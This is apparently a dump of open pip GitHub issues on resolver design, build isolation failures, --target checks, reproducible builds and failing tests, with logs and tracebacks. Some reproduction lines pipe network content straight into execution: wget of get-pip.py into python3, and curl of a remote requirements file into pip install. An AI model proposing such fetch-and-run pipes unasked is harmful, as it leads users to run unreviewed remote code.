body: An `InstallRequirement` has a `source_dir` attribute, which is where the requirement will be built. The code [here](https://github.com/pypa/pip/blob/master/src/pip/_internal/req/req_install.py#L376) computes the name of that build directory, using the name of the requirement/project.

When preparing, the code confirms that the build directory isn't already in use [here](https://github.com/pypa/pip/blob/master/src/pip/_internal/req/req_install.py#L376).

This causes a problem if pip ever needs to prepare more than one version of a particular project (foo-1.0 and foo-2.0, as both of these will use the same build directory). However, this is *exactly* what the new resolver needs to do in order to compute metadata for multiple candidates.

This is probably fixable by using randomised build directory names, or something similar. @pradyunsg @uranusjr - any thoughts on this?
user: pfmoore
labels: state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
C: build logic: Stuff related to metadata generation / wheel generation
issue_7846: state: open
title: Requirements with (potentially conflicting) options
body: This is a scenario which may never happen in practice, but for which we need to decide what a reasonable behaviour would look like. The current resolver probably does "something", but likely by accident of implementation. For the new resolver, though, this question may directly impact the implementation strategy.

Consider if the user has two requirements file something like this:

r1.txt:
```
foo --install-options option1
```

r2.txt
```
foo --install-options option2
```

and then suppose the user does an install as follows:

```sh
$ pip install -r r1.txt -r r2.txt
```

Basically, we now have two `InstallRequirement` objects, both for `foo`, but with different install options. Which one gets installed? How do we choose?

The current resolver appears (from my experiments) to pick the first one (`option1`). But the new resolver would end up creating a set of `Candidate` objects for `foo` - and which set of options should it choose to apply when preparing/building those candidates?

The problem here is very much that the new resolver will do `find_matches` against both requirements, and get 2 lists of `Candidate`s. We need to merge those lists, as they will basically contain the same candidates. But if we merge, we have to decide which options to keep and which to discard.

I'm inclined to do as the current resolver does and just take the first set of options that the code encounters, but say that this is explicitly "not supported" in the sense that we don't guarantee any particular behaviour. I doubt it will cause anyone any issues in practice.

Ideally we could detect and warn/error on conflicts, but I don't know if that's practical (I chose install options as an easy to describe case, but really *any* configuration held in an `InstallRequirement` would have the same issue (markers, the isolated flag, hash options, the wheel cache...).
user: pfmoore
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_7839: state: open
title: Flag to ignore constraint for installing .
body: **What's the problem this feature will solve?**
Global constraint file that is shared among many related apps where the constraints point to git repos this will allow installing `pip install .` to work for the tox testing environment.

Currently you get an error like: ERROR: Could not satisfy constraints for 'app-foo': installation from path or url cannot be constrained to a version

**Describe the solution you'd like**
pip install --ignore-constraint=app-foo .

Or any other way to suppress this error for installing "."

An example where this is handy is requirements.txt like this:
```
--index-url https://pypi.python.org/simple/
--constraint https://example.com/raw/master/constraints.txt
.
```

Where tox installs the project like:
```
deps =
    -r{toxinidir}/requirements.txt
```
user: thenewguy
labels: S: needs triage: Issues/PRs that need to be triaged
issue_7836: state: open
title: pip list --outdated misses old version of tf-nightly
body: **Environment**

* pip version: 20.0.2
* Python version: 3.8.2
* OS: Linux

**Description**
`pip list --outdated` misses old version of tf-nightly. I have `tf-nightly==2.2.0.dev20200227` installed, and a newer version is available and can be installed.

**Expected behavior**
`pip list --outdated` should show `tf-nightly`.

**Output**

```
user@host:~> pip list | grep tf-nightly
tf-nightly                     2.2.0.dev20200227
user@host:~> pip list -u | grep tf-nightly
user@host:~> pip list -o | grep tf-nightly
user@host:~> pip --version
pip 20.0.2 from /home/user/.pyenv/versions/3.8.2/lib/python3.8/site-packages/pip (python 3.8)
user@host:~> pip list -o -v | grep tf-nightly | grep -v Skip
1 location(s) to search for versions of tf-nightly:
* https://pypi.org/simple/tf-nightly/
Fetching project page and analyzing links: https://pypi.org/simple/tf-nightly/
Getting page https://pypi.org/simple/tf-nightly/
Looking up "https://pypi.org/simple/tf-nightly/" in the cache
https://pypi.org:443 "GET /simple/tf-nightly/ HTTP/1.1" 304 0
  Found link https://files.pythonhosted.org/packages/db/80/3d2a67fbe6818b140f8c53a5a4e9ed16683fa77fcebb453e006fb75ecd50/tf_nightly-2.2.0.dev20200227-cp38-cp38-manylinux2010_x86_64.whl#sha256=aaf5ce7f469754681354480f710d2a89004ee624fd7186f7e6f21b4a2a26c3bc (from https://pypi.org/simple/tf-nightly/), version: 2.2.0.dev20200227
  Found link https://files.pythonhosted.org/packages/59/9c/972de8fb6246be6557a16565c4cc1977ea9e275540a77ec4a2e0057dc593/tf_nightly-2.2.0.dev20200228-cp38-cp38-manylinux2010_x86_64.whl#sha256=6273178b4fe579a5e5a22edd412b114b47bd2e5b90e37814335995602a9733e6 (from https://pypi.org/simple/tf-nightly/), version: 2.2.0.dev20200228
  Found link https://files.pythonhosted.org/packages/8e/1f/b7c76f80e3ecd403c7b4e3124be455e9b01c013a6555c6dc215c53130d1f/tf_nightly-2.2.0.dev20200229-cp38-cp38-manylinux2010_x86_64.whl#sha256=3bf6be5dd2c72743869fbf03ddc11f86155df0ccc74f0666c978ebc2becd530c (from https://pypi.org/simple/tf-nightly/), version: 2.2.0.dev20200229
  Found link https://files.pythonhosted.org/packages/45/c5/80ce0b8519be89cfaf8c7be41dd7ed8f19e89082417f474eb212ad4ecb9f/tf_nightly-2.2.0.dev20200301-cp38-cp38-manylinux2010_x86_64.whl#sha256=0b20b993c239f6eb4b7e44f68677c2923b889af0f62fbecb0ae0af3c9865ec90 (from https://pypi.org/simple/tf-nightly/), version: 2.2.0.dev20200301
  Found link https://files.pythonhosted.org/packages/f8/a5/7815c0f20f1535a0731f427de14cc7f60f881ee7db4f81c5f067da613abc/tf_nightly-2.2.0.dev20200302-cp38-cp38-manylinux2010_x86_64.whl#sha256=a5c13dcc3e1955e1eb76aaf442a4844293b1e80a8640cb47f01b1ae957dabfea (from https://pypi.org/simple/tf-nightly/), version: 2.2.0.dev20200302
  Found link https://files.pythonhosted.org/packages/39/52/2747c5049c03b9a51e258c718a6d53721b48669ea1ec495643362559f8ae/tf_nightly-2.2.0.dev20200303-cp38-cp38-manylinux2010_x86_64.whl#sha256=5fd99bd84925a48d432cf6ea351bb689809ca2f13b68330020f5088b4b141164 (from https://pypi.org/simple/tf-nightly/), version: 2.2.0.dev20200303
  Found link https://files.pythonhosted.org/packages/f4/70/94cdec35f3de1013e1d12f03dc8dc21624c6b6276444ba62972831785511/tf_nightly-2.2.0.dev20200304-cp38-cp38-manylinux2010_x86_64.whl#sha256=783fde7be577e6affdfbce4802ef0803b52336623e5ee4284c97c85bc7789c34 (from https://pypi.org/simple/tf-nightly/), version: 2.2.0.dev20200304
  Found link https://files.pythonhosted.org/packages/45/fa/eb30478fde21cb94cc0e5ce84c57100fb53eace2b8da66a84cfacd67acd9/tf_nightly-2.2.0.dev20200305-cp38-cp38-manylinux2010_x86_64.whl#sha256=7a9203fa1f1e48c16b3d54a6d4d93657505fc7c8139a7fd35c6b38c68eefd8c0 (from https://pypi.org/simple/tf-nightly/), version: 2.2.0.dev20200305
  Found link https://files.pythonhosted.org/packages/be/a7/c5f14bddbcc29ad99b69756ab21f3ddf5e64633a54b5b4929c51337d1fab/tf_nightly-2.2.0.dev20200306-cp38-cp38-manylinux2010_x86_64.whl#sha256=bb3b16ee01cf59f9e40a077f46c6f9398cd329fb6173cd7f521670f3fb70d583 (from https://pypi.org/simple/tf-nightly/), version: 2.2.0.dev20200306
  Found link https://files.pythonhosted.org/packages/30/8e/650b282491e126a39e2b256f1ad790d566c53465dfd801a7703e421431e3/tf_nightly-2.2.0.dev20200307-cp38-cp38-manylinux2010_x86_64.whl#sha256=b9d0c045d29438a089ba0f2a40aef43c1c6435387d66ee80835f84bf26ed1557 (from https://pypi.org/simple/tf-nightly/), version: 2.2.0.dev20200307
  Found link https://files.pythonhosted.org/packages/34/72/1f66dfcadc68762d5310288795269a55c2730f1d1067d86cff489548ae50/tf_nightly-2.2.0.dev20200308-cp38-cp38-manylinux2010_x86_64.whl#sha256=1f12208da4de572f7387d2eaf7c93c6fff3edda62359e70e6c013d500ec50251 (from https://pypi.org/simple/tf-nightly/), version: 2.2.0.dev20200308
  Found link https://files.pythonhosted.org/packages/9c/f5/a7af0a53e764fc2702b13cba704b3ec8f8017416ea572a567f8c956bf3e9/tf_nightly-2.2.0.dev20200309-cp38-cp38-manylinux2010_x86_64.whl#sha256=26912aa7ca3984381deec965d4029f614dcc1ad80880e40d1aed8ecd4e4027f5 (from https://pypi.org/simple/tf-nightly/), version: 2.2.0.dev20200309
user@host:~> pip uninstall tf-nightly
Found existing installation: tf-nightly 2.2.0.dev20200227
Uninstalling tf-nightly-2.2.0.dev20200227:
  Would remove:
    /home/user/.pyenv/versions/3.8.2/bin/estimator_ckpt_converter
    /home/user/.pyenv/versions/3.8.2/bin/saved_model_cli
    /home/user/.pyenv/versions/3.8.2/bin/tf_upgrade_v2
    /home/user/.pyenv/versions/3.8.2/bin/tflite_convert
    /home/user/.pyenv/versions/3.8.2/bin/toco
    /home/user/.pyenv/versions/3.8.2/bin/toco_from_protos
    /home/user/.pyenv/versions/3.8.2/lib/python3.8/site-packages/tensorflow/*
    /home/user/.pyenv/versions/3.8.2/lib/python3.8/site-packages/tf_nightly-2.2.0.dev20200227.dist-info/*
Proceed (y/n)? y
  Successfully uninstalled tf-nightly-2.2.0.dev20200227
user@host:~> pip install tf-nightly
Collecting tf-nightly
  Downloading tf_nightly-2.2.0.dev20200309-cp38-cp38-manylinux2010_x86_64.whl (517.0 MB)
     |████████████████████████████████| 517.0 MB 25 kB/s
(Requirement already satisfied: ...)
Installing collected packages: tf-nightly
Successfully installed tf-nightly-2.2.0.dev20200309
```

user: bersbersbers
labels: state: awaiting PR: Feature discussed, PR is needed
issue_7832: state: open
title: Unable to build distlib with user-site fallback with use-pep517
body: **Environment**

* pip version: 20.0.2
* Python version: 3.5.x as found on Ubuntu Xenial
* OS: Ubuntu Xenial

**Description**

In [this Netlify build](https://app.netlify.com/sites/ecstatic-morse-dada75/deploys/5e650755b3b1a90008a471cd) (from pypa/setuptools#2014), I'm attempting to bootstrap an environment to run tox. I have a Python 3.5 environment and I've installed the latest pip from the bootstrap script. I then attempt to pip install tox, but it fails. If I run without `--use-pep517`, it fails because setuptools isn't present and distlib, which has no wheel, fails to install from source. With `--use-pep517`, it starts to build, but then fails when apparently `pkg_resources` doesn't have a module that it clearly has.

**Expected behavior**

It should be possible even in an unprivileged environment to pip install tox.

**How to Reproduce**

I don't have good repro instructions yet, as the issue exists in a managed environment out of my administration.

**Output**

```
$ (wget https://bootstrap.pypa.io/get-pip.py -O - | python3) && python3 -m pip install --use-pep517 tox && tox -e docs
...
10:57:14 AM: Collecting distlib<1,>=0.3.0
10:57:14 AM:   Using cached distlib-0.3.0.zip (571 kB)
10:57:14 AM:   Installing build dependencies: started
10:57:16 AM:   Installing build dependencies: finished with status 'done'
10:57:16 AM:   Getting requirements to build wheel: started
10:57:16 AM:   Getting requirements to build wheel: finished with status 'done'
10:57:16 AM: ERROR: Exception:
10:57:16 AM: Traceback (most recent call last):
10:57:16 AM:   File "/opt/buildhome/.local/lib/python3.5/site-packages/pip/_internal/cli/base_command.py", line 186, in _main
10:57:16 AM:     status = self.run(options, args)
10:57:16 AM:   File "/opt/buildhome/.local/lib/python3.5/site-packages/pip/_internal/commands/install.py", line 331, in run
10:57:16 AM:     resolver.resolve(requirement_set)
10:57:16 AM:   File "/opt/buildhome/.local/lib/python3.5/site-packages/pip/_internal/legacy_resolve.py", line 177, in resolve
10:57:16 AM:     discovered_reqs.extend(self._resolve_one(requirement_set, req))
10:57:16 AM:   File "/opt/buildhome/.local/lib/python3.5/site-packages/pip/_internal/legacy_resolve.py", line 333, in _resolve_one
10:57:16 AM:     abstract_dist = self._get_abstract_dist_for(req_to_install)
10:57:16 AM:   File "/opt/buildhome/.local/lib/python3.5/site-packages/pip/_internal/legacy_resolve.py", line 282, in _get_abstract_dist_for
10:57:16 AM:     abstract_dist = self.preparer.prepare_linked_requirement(req)
10:57:16 AM:   File "/opt/buildhome/.local/lib/python3.5/site-packages/pip/_internal/operations/prepare.py", line 516, in prepare_linked_requirement
10:57:16 AM:     req, self.req_tracker, self.finder, self.build_isolation,
10:57:16 AM:   File "/opt/buildhome/.local/lib/python3.5/site-packages/pip/_internal/operations/prepare.py", line 95, in _get_prepared_distribution
10:57:16 AM:     abstract_dist.prepare_distribution_metadata(finder, build_isolation)
10:57:16 AM:   File "/opt/buildhome/.local/lib/python3.5/site-packages/pip/_internal/distributions/sdist.py", line 38, in prepare_distribution_metadata
10:57:16 AM:     self._setup_isolation(finder)
10:57:16 AM:   File "/opt/buildhome/.local/lib/python3.5/site-packages/pip/_internal/distributions/sdist.py", line 96, in _setup_isolation
10:57:16 AM:     reqs = backend.get_requires_for_build_wheel()
10:57:16 AM:   File "/opt/buildhome/.local/lib/python3.5/site-packages/pip/_vendor/pep517/wrappers.py", line 152, in get_requires_for_build_wheel
10:57:16 AM:     'config_settings': config_settings
10:57:16 AM:   File "/opt/buildhome/.local/lib/python3.5/site-packages/pip/_vendor/pep517/wrappers.py", line 255, in _call_hook
10:57:16 AM:     raise BackendUnavailable(data.get('traceback', ''))
10:57:16 AM: pip._vendor.pep517.wrappers.BackendUnavailable: Traceback (most recent call last):
10:57:16 AM:   File "/opt/buildhome/.local/lib/python3.5/site-packages/pip/_vendor/pep517/_in_process.py", line 63, in _build_backend
10:57:16 AM:     obj = import_module(mod_path)
10:57:16 AM:   File "/usr/lib/python3.5/importlib/__init__.py", line 126, in import_module
10:57:16 AM:     return _bootstrap._gcd_import(name[level:], package, level)
10:57:16 AM:   File "<frozen importlib._bootstrap>", line 986, in _gcd_import
10:57:16 AM:   File "<frozen importlib._bootstrap>", line 969, in _find_and_load
10:57:16 AM:   File "<frozen importlib._bootstrap>", line 958, in _find_and_load_unlocked
10:57:16 AM:   File "<frozen importlib._bootstrap>", line 673, in _load_unlocked
10:57:16 AM:   File "<frozen importlib._bootstrap_external>", line 665, in exec_module
10:57:16 AM:   File "<frozen importlib._bootstrap>", line 222, in _call_with_frames_removed
10:57:16 AM:   File "/tmp/pip-build-env-akl0d8y_/overlay/lib/python3.5/site-packages/setuptools/build_meta.py", line 41, in <module>
10:57:16 AM:     from pkg_resources.py31compat import makedirs
10:57:16 AM: ImportError: No module named 'pkg_resources.py31compat'
```

user: jaraco
labels: S: needs triage: Issues/PRs that need to be triaged
issue_7831: state: open
title: Unable to build no-binary :all: with use-pep517
body: **Environment**

* pip version: 20.0.2
* Python version: 3.8.1
* OS: macOS 10.15.3

<!-- Feel free to add more information about your environment here -->

**Description**

As distlib doesn't publish a wheel, and because it has an implicit dependency on setuptools, I'm attempting to use `--use-pep517` to force pip to ensure that setuptools/wheel are present for building, but when I do, pip fails to install wheel:

```
~ $ pip install --use-pep517 --no-binary :all: distlib                                                                                                                        
Collecting distlib
  Using cached distlib-0.3.0.zip (571 kB)
  Installing build dependencies ... error
  ERROR: Command errored out with exit status 1:
   command: /usr/local/bin/python /Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/site-packages/pip install --ignore-installed --no-user --prefix /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-build-env-6j9zlufg/overlay --no-warn-script-location --no-binary :all: --only-binary :none: -i https://pypi.org/simple -- 'setuptools>=40.8.0' wheel
       cwd: None
  Complete output (13 lines):
  Collecting setuptools>=40.8.0
    Using cached setuptools-45.3.0.zip (862 kB)
  Collecting wheel
    Using cached wheel-0.34.2.tar.gz (58 kB)
      ERROR: Command errored out with exit status 1:
       command: /usr/local/bin/python -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-hd2m84od/wheel/setup.py'"'"'; __file__='"'"'/private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-hd2m84od/wheel/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-hd2m84od/wheel/pip-egg-info
           cwd: /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-install-hd2m84od/wheel/
      Complete output (3 lines):
      Traceback (most recent call last):
        File "<string>", line 1, in <module>
      ModuleNotFoundError: No module named 'setuptools'
      ----------------------------------------
  ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
  ----------------------------------------
ERROR: Command errored out with exit status 1: /usr/local/bin/python /Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/site-packages/pip install --ignore-installed --no-user --prefix /private/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-build-env-6j9zlufg/overlay --no-warn-script-location --no-binary :all: --only-binary :none: -i https://pypi.org/simple -- 'setuptools>=40.8.0' wheel Check the logs for full command output.
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.8/bin/pip-run", line 8, in <module>
    sys.exit(run())
  File "/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/site-packages/pip_run/__init__.py", line 18, in run
    with deps.load(*deps.not_installed(pip_args)) as home:
  File "/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/contextlib.py", line 113, in __enter__
    return next(self.gen)
  File "/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/site-packages/pip_run/deps.py", line 75, in load
    _installable(args) and subprocess.check_call(cmd)
  File "/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/subprocess.py", line 364, in check_call
    raise CalledProcessError(retcode, cmd)
subprocess.CalledProcessError: Command '('/usr/local/bin/python', '-m', 'pip', 'install', '-t', '/var/folders/c6/v7hnmq453xb6p2dbz1gqc6rr0000gn/T/pip-run-mzykfthi', '--use-pep517', '--no-binary', ':all:', 'distlib')' returned non-zero exit status 1.
```

**Expected behavior**

`pip` should be able to assemble a build environment, either by disabling the `no-binary` option for those requirements or (preferably) by providing a bootstrap environment for these build dependencies.

Note: This may be an issue that can be addressed with wheel.
user: jaraco
labels: S: needs triage: Issues/PRs that need to be triaged
issue_7829: state: open
title: Do not allow --target, --user, --root and --prefix together
body: `--target`, `--user`, `--root` and `--prefix` are mutually exclusive and simply don't make sense when used together.  Instead of failing for irrelevant errors, the error should explicitly describe why it is not excepted.  This is currently implemented in GH-7828.  I move the discussion here since the PR to avoid distracting the code review process.
user: McSinyx
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
issue_7822: state: open
title: pip install from stdin
body: I see that an existing ticket has been rejected: #3880 .  I'm requesting that the team reconsider.

The main use case I have for this feature is to build an environment using a set of requirements specified in a URL or coming from a specific `git` commit:

```
% curl https://foo.com/requirements.txt | pip install -r -
% git show deadbeef:requirements.txt | pip install -r -
```

There are workarounds, e.g. to leverage some shell feature for running a subprocess (e.g. `pip install -r <(curl https://foo.com/requirements.txt)` or similar) or download the file in advance to some temporary location, but these are more esoteric, shell-dependent, or require extra cleanup steps.  I believe the cleanest solution for the user is simply to behave like a standard command-line tool and use `stdin`/`stdout` in the normal ways.

In the spirit of conforming even better to standard POSIX style, I'd further recommend that the `-` be unnecessary, e.g. if no file argument is given for `-r` that input be taken from `stdin`, just like other input-consuming tools like `cat`, `cut`, `less`, `python` etc. do:

```
% curl https://foo.com/requirements.txt | pip install -r
% git show deadbeef:requirements.txt | pip install -r
```

Thanks for considering.
user: kenahoo
labels: state: needs discussion: This needs some more discussion
resolution: deferred till PR: Further discussion will happen when a PR is made
type: feature request: Request for a new feature
issue_7821: state: open
title: Incompatible version error when installing to --target
body: **Environment**

* pip version: 20.0.2
* Python version: 3.7.3
* OS: MacOS 10.14.6

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
When installing requirements to a target directory (`-t, --target`) pip checks for incompatible versions in the entire "system".

```bash
ERROR: botocore 1.12.130 has requirement urllib3<1.25,>=1.20; python_version >= "3.4", but you'll have urllib3 1.25.8 which is incompatible.
```

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
pip should just check for incompatible versions within the target directory.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Have a "safe" environment (virtual env) for reproducibility.
2. Install `botocore==1.12.130`
3. Install `requests==2.22.0` to a --target directory.
4. Observe ERROR from above.

**Output**

```bash
$ pip3 install botocore==1.12.130
Successfully installed botocore-1.12.130 docutils-0.16 jmespath-0.9.5 python-dateutil-2.8.1 six-1.14.0 urllib3-1.24.3
```

```bash
$ pip3 install requests==2.22.0 -t dist/
ERROR: botocore 1.12.130 has requirement urllib3<1.25,>=1.20; python_version >= "3.4", but you'll have urllib3 1.25.8 which is incompatible.
Installing collected packages: chardet, urllib3, idna, certifi, requests
Successfully installed certifi-2019.11.28 chardet-3.0.4 idna-2.8 requests-2.22.0 urllib3-1.25.8
```

```bash
$ pip3 freeze
botocore==1.12.130
docutils==0.16
jmespath==0.9.5
python-dateutil==2.8.1
six==1.14.0
urllib3==1.24.3
```
**Observe** that the "system" (virtual env "root") version of urllib3 is *compatible* with botocore.

```bash
$ pip3 freeze --path dist
certifi==2019.11.28
chardet==3.0.4
idna==2.8
requests==2.22.0
urllib3==1.25.8
```
**Observe** that botocore is not part of the target directory (and shouldn't be).
user: BeyondEvil
labels: S: needs triage: Issues/PRs that need to be triaged
issue_7815: state: open
title: Don't print full paths for cached wheels when using them
body: **Environment**

* pip version: 20.0.2
* Python version: 3.8.0
* OS: MacOS

**Description**

Currently, during installation, occasionally prints "Processing \<full-wheel-name-in-cache>"

**Expected behavior**

pip should say "Processing \<wheel-basename> (cached)" instead of printing the entire path.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

Not sure what exact cache state needs to be but I can consistently reproduce this with: `pip install 'django-rest-swagger[reST]==0.3.10'`.

**Output**

```
Collecting django-rest-swagger[reST]==0.3.10
  Using cached django_rest_swagger-0.3.10-py2.py3-none-any.whl (212 kB)
  Ignoring docutils: markers 'extra == "reST"' don't match your environment
Processing /Users/pradyunsg/Library/Caches/pip/wheels/e4/76/4d/a95b8dd7b452b69e8ed4f68b69e1b55e12c9c9624dd962b191/PyYAML-5.3-cp38-cp38-macosx_10_14_x86_64.whl
Collecting djangorestframework>=2.3.8
  Using cached djangorestframework-3.11.0-py3-none-any.whl (911 kB)
Collecting Django>=1.8
  Using cached Django-3.0.3-py3-none-any.whl (7.5 MB)
Collecting sqlparse>=0.2.2
  Using cached sqlparse-0.3.1-py2.py3-none-any.whl (40 kB)
Collecting asgiref~=3.2
  Using cached asgiref-3.2.3-py2.py3-none-any.whl (18 kB)
Collecting pytz
  Using cached pytz-2019.3-py2.py3-none-any.whl (509 kB)
Installing collected packages: PyYAML, sqlparse, asgiref, pytz, Django, djangorestframework, django-rest-swagger
Successfully installed Django-3.0.3 PyYAML-5.3 asgiref-3.2.3 django-rest-swagger-0.3.10 djangorestframework-3.11.0 pytz-2019.3 sqlparse-0.3.1
```

user: pradyunsg
labels: type: bug: A confirmed bug or unintended behavior
state: needs discussion: This needs some more discussion
resolution: deferred till PR: Further discussion will happen when a PR is made
issue_7808: state: open
title: Adding tests to ensure pip install is reproducible
body: **Environment**
- Nixpkgs at 9a4d723e436d8c1b94782dbff6d2d8dd4bf5dce5

* pip version: 20.0.2
* Python version: CPython 3.7
* OS: Any Linux OS using Nix builds

<!-- Feel free to add more information about your environment here -->

**Description**
Using pip at 19.3.1 building of Python packages was reproducible, however, since we upgraded to 20.0.2 that is no longer the case (https://github.com/NixOS/nixpkgs/issues/81441). The issue is that bytecode now refers to a unpacked-wheel folder (see e.g. https://r13y.com/diff/b03e875784ba16e60ec59d1d5e720b13fc7ae1311edf409b819b0b264acd5393-aba2cac73c5234af8fbf694100bc631800ca397ad7afeed335d38895322a7c71.html).

The function for this unpacked-wheel was added in https://github.com/pypa/pip/pull/7483, I have not bisected this any further though cc @chrahunt @raboof

**Expected behavior**
Reproducible build.

**How to Reproduce**


user: FRidh
labels: C: tests: Testing and related things
state: awaiting PR: Feature discussed, PR is needed
issue_7806: state: open
title: Many test failures on master (macOS, Framework Python 3.8)
body: **Environment**

* pip version: bf0da0fe
* Python version: 3.8.1 (Framework build as installed from python.org)
* OS: macOS 10.15.3

<!-- Feel free to add more information about your environment here -->

**Description**

Running the test suite on a clean checkout (`tox` with `TOXENV=python`), 16 tests fail consistently.

**Expected behavior**

Test suite should pass on popular operating systems.

**Output**

<details>

```
pip master $ tox
GLOB sdist-make: /Users/jaraco/code/public/pypa/pip/setup.py
python inst-nodeps: /Users/jaraco/code/public/pypa/pip/.tox/.tmp/package/1/pip-20.1.dev0.zip
python installed: apipkg==1.5,atomicwrites==1.3.0,attrs==19.3.0,cffi==1.14.0,coverage==5.0.3,cryptography==2.8,csv23==0.1.6,execnet==1.7.1,freezegun==0.3.15,mock==4.0.1,more-itertools==8.2.0,pip==20.1.dev0,pluggy==0.13.1,pretend==1.0.9,py==1.8.1,pycparser==2.19,pytest==3.8.2,pytest-cov==2.8.1,pytest-forked==1.1.3,pytest-rerunfailures==6.0,pytest-timeout==1.3.4,pytest-xdist==1.27.0,python-dateutil==2.8.1,PyYAML==5.3,scripttest==1.3,setuptools==41.2.0,six==1.14.0,virtualenv==16.7.10,Werkzeug==0.16.0,wheel==0.34.2
python run-test-pre: PYTHONHASHSEED='1967842165'
python run-test-pre: commands[0] | python -c 'import shutil, sys; shutil.rmtree(sys.argv[1], ignore_errors=True)' /Users/jaraco/code/public/pypa/pip/tests/data/common_wheels
python run-test-pre: commands[1] | python /Users/jaraco/code/public/pypa/pip/tools/tox_pip.py wheel -w /Users/jaraco/code/public/pypa/pip/tests/data/common_wheels -r /Users/jaraco/code/public/pypa/pip/tools/requirements/tests-common_wheels.txt
Collecting setuptools>=40.8.0
  Using cached setuptools-45.2.0-py3-none-any.whl (584 kB)
  Saved ./tests/data/common_wheels/setuptools-45.2.0-py3-none-any.whl
Collecting wheel
  Using cached wheel-0.34.2-py2.py3-none-any.whl (26 kB)
  Saved ./tests/data/common_wheels/wheel-0.34.2-py2.py3-none-any.whl
Skipping setuptools, due to already being wheel.
Skipping wheel, due to already being wheel.
python run-test: commands[0] | pytest --timeout 300
========================================================================== test session starts ===========================================================================
platform darwin -- Python 3.8.1, pytest-3.8.2, py-1.8.1, pluggy-0.13.1
rootdir: /Users/jaraco/code/public/pypa/pip, inifile: setup.cfg
plugins: timeout-1.3.4, rerunfailures-6.0, forked-1.1.3, cov-2.8.1, xdist-1.27.0
timeout: 300.0s
timeout method: signal
timeout func_only: False
collected 1833 items                                                                                                                                                     

tests/functional/test_broken_stdout.py ...                                                                                                                         [  0%]
tests/functional/test_check.py ..........                                                                                                                          [  0%]
tests/functional/test_cli.py ...                                                                                                                                   [  0%]
tests/functional/test_completion.py .....................                                                                                                          [  2%]
tests/functional/test_configuration.py .s...                                                                                                                       [  2%]
tests/functional/test_debug.py .............                                                                                                                       [  3%]
tests/functional/test_download.py ......................................                                                                                           [  5%]
tests/functional/test_freeze.py .....Fx.................                                                                                                           [  6%]
tests/functional/test_hash.py ...                                                                                                                                  [  6%]
tests/functional/test_help.py .......                                                                                                                              [  6%]
tests/functional/test_install.py .......................F........................s.............................................................F........           [ 13%]
tests/functional/test_install_check.py ..                                                                                                                          [ 13%]
tests/functional/test_install_cleanup.py .........                                                                                                                 [ 14%]
tests/functional/test_install_compat.py ..                                                                                                                         [ 14%]
tests/functional/test_install_config.py ........                                                                                                                   [ 14%]
tests/functional/test_install_extras.py .......                                                                                                                    [ 14%]
tests/functional/test_install_force_reinstall.py ..                                                                                                                [ 15%]
tests/functional/test_install_index.py ....                                                                                                                        [ 15%]
tests/functional/test_install_reqs.py ........F..........................x...                                                                                      [ 17%]
tests/functional/test_install_upgrade.py ...................                                                                                                       [ 18%]
tests/functional/test_install_user.py .FF.FFFF.                                                                                                                    [ 18%]
tests/functional/test_install_vcs_git.py ........................                                                                                                  [ 20%]
tests/functional/test_install_wheel.py .............F................                                                                                              [ 21%]
tests/functional/test_list.py ............................                                                                                                         [ 23%]
tests/functional/test_no_color.py s                                                                                                                                [ 23%]
tests/functional/test_pep517.py .............                                                                                                                      [ 24%]
tests/functional/test_requests.py s                                                                                                                                [ 24%]
tests/functional/test_search.py ...s.......                                                                                                                        [ 24%]
tests/functional/test_show.py ....................                                                                                                                 [ 25%]
tests/functional/test_uninstall.py .............F.F........                                                                                                        [ 27%]
tests/functional/test_uninstall_user.py FFF                                                                                                                        [ 27%]
tests/functional/test_vcs_bazaar.py s..                                                                                                                            [ 27%]
tests/functional/test_vcs_git.py ...........                                                                                                                       [ 28%]
tests/functional/test_vcs_mercurial.py .                                                                                                                           [ 28%]
tests/functional/test_warning.py ....ss                                                                                                                            [ 28%]
tests/functional/test_wheel.py ....................                                                                                                                [ 29%]
tests/functional/test_yaml.py xx...........x                                                                                                                       [ 30%]
tests/lib/test_lib.py ....................                                                                                                                         [ 31%]
tests/lib/test_wheel.py .................                                                                                                                          [ 32%]
tests/unit/test_appdirs.py .................                                                                                                                       [ 33%]
tests/unit/test_base_command.py ............                                                                                                                       [ 33%]
tests/unit/test_build_env.py .....                                                                                                                                 [ 34%]
tests/unit/test_cache.py ......                                                                                                                                    [ 34%]
tests/unit/test_check.py ..                                                                                                                                        [ 34%]
tests/unit/test_cmdoptions.py ...........                                                                                                                          [ 35%]
tests/unit/test_collector.py ...........................................s............s.s...................                                                        [ 39%]
tests/unit/test_command_install.py ...............                                                                                                                 [ 40%]
tests/unit/test_commands.py ..................................                                                                                                     [ 42%]
tests/unit/test_compat.py ..................                                                                                                                       [ 43%]
tests/unit/test_configuration.py ......................                                                                                                            [ 44%]
tests/unit/test_finder.py ...............................                                                                                                          [ 46%]
tests/unit/test_format_control.py .........                                                                                                                        [ 46%]
tests/unit/test_index.py ....................................................................................................                                      [ 52%]
